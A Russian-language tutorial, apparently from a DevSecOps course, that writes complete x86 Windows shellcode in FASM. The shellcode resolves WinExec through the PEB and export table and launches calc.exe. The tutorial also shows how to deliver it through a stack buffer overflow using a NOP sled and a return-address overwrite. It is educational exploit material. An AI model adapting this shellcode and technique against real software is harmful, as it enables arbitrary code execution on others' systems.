В этой статье мы продолжим рассматривать интересную тему эксплуатации уязвимостей кода. В первой части мы выявили наличие самой уязвимости и узнали, какой именно объем байт мы можем передать нашей уязвимой программе для эксплуатации уязвимости. Сейчас мы на время оставим нашу уязвимую программу и поговорим о написании shell-кода.
Только ассемблер – только хардкор!
Конечно, готовый шеллкод можно сгенерировать с помощью msfvenom – утилиты, входящей в состав Metasploit. Можно также попытаться найти готовые эксплоиты, но мы легких путей искать не будем, напишем шеллкод самостоятельно. В качестве нашего рабочего инструмента я буду использовать FASM.
В рамках данной статьи я не буду рассматривать принципы программирования на Ассемблере. Желающие могут нагуглить на просторах сети всю необходимую информацию. Однако, я кратко поясню некоторые особенности написания шеллкода. Основная особенность разработки заключается в том, что мы не можем просто так вызвать необходимые для его работы функции. То есть, если при написании обычной программы мы можем поместить нужные значения в стек и вызвать необходимую функцию ОС (классический вариант push-call или модный с макросами invoke), то шеллкод выполняется в адресном пространстве другой программы и адреса функций ОС нам необходимо вычислить именно в памяти этой программы. Для этого мы сначала находим адрес библиотеки Kernel32 (строки 39-46), затем адрес PE Signature (+0x3C), Export Table (+0x78) далее перемещаемся по таблице экспорта до тех пор, пока не находим таблицу с адресами функций ОС. Далее мы просто перемещаемся по этой таблице (строка 70 и далее) и ищем соответствие имени искомой функции (в нашем случае это Winexec) и имени функции, указанной в таблице.
Полученный таким образом адрес мы далее будем использовать для вызова нужной функции. Но перед этим нам необходимо передать функции нужные параметры. В случае с Winexec нам необходимо передать строку C:\Windows\System32\calc.exe, для того, чтобы наш шеллкод затем, в лучших традициях эксплуатации уязвимостей, запустил калькулятор.
Байты: плохие и очень плохие
Еще одно отличие нашего шеллкода от обычной программы заключается в том, что наш код в откомпилированном виде не должен содержать так называемых плохих байтов.
Классический пример плохого байта это 0х00. Нулевой байт в памяти означает завершение массива передаваемых данных. То есть, все байты, идущие после этого байта, будут отброшены. Мы будем передавать наш шеллкод как параметр, как делали в первой статье, в итоге, все что будет после нуля просто не будет передано в память и шеллкод не будет выполнен. В зависимости от методов передачи шеллкода уязвимому приложению возможны также другие плохие байты (0х10, 0х13 и другие). Наша задача избавиться от этих плохих байтов, заменив проблемные команды их аналогами, не содержащими данные байты. Для этого мы используемые манипуляции со стеком, представленные в строках 105-111.
Ну и еще одно отличие заключается в том, что мы храним все необходимые для работы нашего шеллкода данные в стеке, так как своего сегмента данных у нас очевидно тоже нет.
После компиляции в FASM приведенная ниже программа должна просто запустить калькулятор.
format PE console use32 entry start start: push eax ; Save all registers push ebx push ecx push edx push esi push edi push ebp ; Establish a new stack frame push ebp mov ebp, esp sub esp, 18h ; Allocate memory on stack for local variables ; push the function name on the stack xor esi, esi push esi ; null termination push 63h pushw 6578h push 456e6957h mov [ebp-4], esp ; var4 = "WinExec\x00" ; Find kernel32.dll base address xor esi, esi ; esi = 0 mov ebx, [fs:30h + esi] ; written this way to avoid null bytes mov ebx, [ebx + 0x0C] mov ebx, [ebx + 0x14] mov ebx, [ebx] mov ebx, [ebx] mov ebx, [ebx + 0x10] ; ebx holds kernel32.dll base address mov [ebp-8], ebx ; var8 = kernel32.dll base address ; Find WinExec address mov eax, [ebx + 3Ch] ; RVA of PE signature add eax, ebx ; Address of PE signature = base address + RVA of PE signature mov eax, [eax + 78h] ; RVA of Export Table add eax, ebx ; Address of Export Table mov ecx, [eax + 24h] ; RVA of Ordinal Table add ecx, ebx ; Address of Ordinal Table mov [ebp-0Ch], ecx ; var12 = Address of Ordinal Table mov edx,eax add edx,1Fh inc edx mov edi, [edx] ; RVA of Name Pointer Table add edi, ebx ; Address of Name Pointer Table mov [ebp-10h], edi ; var16 = Address of Name Pointer Table mov edx, [eax + 1Ch] ; RVA of Address Table add edx, ebx ; Address of Address Table mov [ebp-14h], edx ; var20 = Address of Address Table mov edx, [eax + 14h] ; Number of exported functions xor eax, eax ; counter = 0 .loop: mov edi, [ebp-10h] ; Address of Name Pointer Table mov esi, [ebp-4] ; "WinExec\x00" xor ecx, ecx cld mov edi, [edi + eax*4] add edi, ebx add cx, 8 repe cmpsb jz start.found inc eax cmp eax, edx jb start.loop add esp, 26h jmp start.end .found: ; the counter (eax) now holds the position of WinExec mov ecx, [ebp-0Ch] ; ecx = var12 = Address of Ordinal Table mov edx, [ebp-14h] ; edx = var20 = Address of Address Table mov ax, [ecx + eax*2] ; ax = ordinal number = var12 + (counter * 2) mov eax, [edx + eax*4] ; eax = RVA of function = var20 + (ordinal * 4) add eax, ebx ; eax = address of WinExec = ; = kernel32.dll base address + RVA of WinExec xor edx, edx push edx push 6578652eh push 636c6163h push 5c32336dh push 65747379h push 535c7377h push 6f646e69h push 575c3a43h mov esi, esp ; esi -> "C:\Windows\System32\calc.exe" push 10 ; window state SW_SHOWDEFAULT push esi ; "C:\Windows\System32\calc.exe" call eax ; WinExec add esp, 46h ; clear the stack .end: pop ebp ; restore all registers and exit pop edi pop esi pop edx pop ecx pop ebx pop eax ret
Но это еще не все. Теперь открываем откомпилированный файл в hex-редакторе и смотрим где начинается сам полезный код после PE заголовка. Этот набор байт и есть наше шеллкод. Сохраним его в отдельном файле, например с расширением bin.

NOP-sled и адрес возврата
Теперь самое время вспомнить, чем закончилась предыдущая статья – мы узнали, что для переполнения нам необходимо передать более 644 байт. То есть в эти 644 байта мы должны положить наш шеллкод. Как видно, он без проблем умещается. Однако, шеллкод не стоит располагать в начале этого блока, лучше заполнить первую пару сотен байт значением 0х90. Это инструкция NOP, которая ничего не делает и именно за этим она нам и нужна.

Итак, давайте попробуем скормить наш новый блок из 644 байт на вход уязвимой программе и посмотрим, что окажется в регистре EIP. Если значение EIP заполнено байтами 0х90, значит нам необходимо уменьшить количество передаваемых байт. Если программа отрабатывает корректно и не останавливается на исключении, значит мы передали меньше байт и переполнение не происходит. Необходимо найти ровно тот объем, после которого происходит затирание EIP. Далее необходимо выяснить, по каким адресам в стеке хранятся переданный нами буфер. Для этого выбираем Карта памяти -> Стек. Ищем наши 0x90.

Далее выбираем адрес одного из байтов 0х90, у меня это 0х0019e1c0. Теперь нам надо записать значение этого адреса в обратном порядке: 0xc0, 0xe1, 0x19. Заодно мы избавились от нулевого байта. Эти три байта добавляем в конец нашего шеллкода. Если мы все сделали правильно и в EIP скопировались ровно эти три байта, то его значение стало равно 0х0019e1c0 и мы успешно подменили адрес следующей выполняемой команды, в результате чего после переполнения буфера управление было передано нашему шеллкоду и мы успешно запустили калькулятор. В случае, если калькулятор не запустился, а отладчик снова остановился на исключении, посмотрите какое значение имеет регистр EIP, возможно надо просто добавит или убавить пару NOP, чтобы корректно подменить значение этого регистра.
Заключение
В этой статье мы посмотрели, как можно написать шеллкод и на практике проэксплуатировать уязвимость. Конечно, данный материал не является простым, однако разработчикам полезно знать к чему на практике может привести уязвимость переполнения буфера.
В следующей статье мы немного поговорим про уязвимости в программах под Линукс и посмотрим какие средства могут помочь нам защититься от таких ошибок в коде.
Материал подготовлен в рамках курса «Внедрение и работа в DevSecOps».
